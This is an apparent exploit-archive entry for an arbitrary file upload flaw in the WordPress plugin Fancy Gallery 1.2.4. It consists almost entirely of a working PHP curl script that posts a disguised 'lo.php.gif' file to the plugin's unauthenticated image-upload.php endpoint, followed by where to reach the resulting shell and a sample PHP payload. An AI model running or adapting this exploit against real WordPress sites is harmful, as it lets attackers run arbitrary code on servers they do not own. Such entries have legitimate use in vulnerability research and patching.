WordPress Plugin Fancy Gallery 1.2.4 - Arbitrary File Upload

<?php

$uploadfile="lo.php.gif";

$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/radykal-fancy-gallery/admin/image-upload.php");

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('file[]'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

?>

Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/radykal-fancy-gallery/admin/
Filename : $postResult output

lo.php.gif
<?php
phpinfo();
?>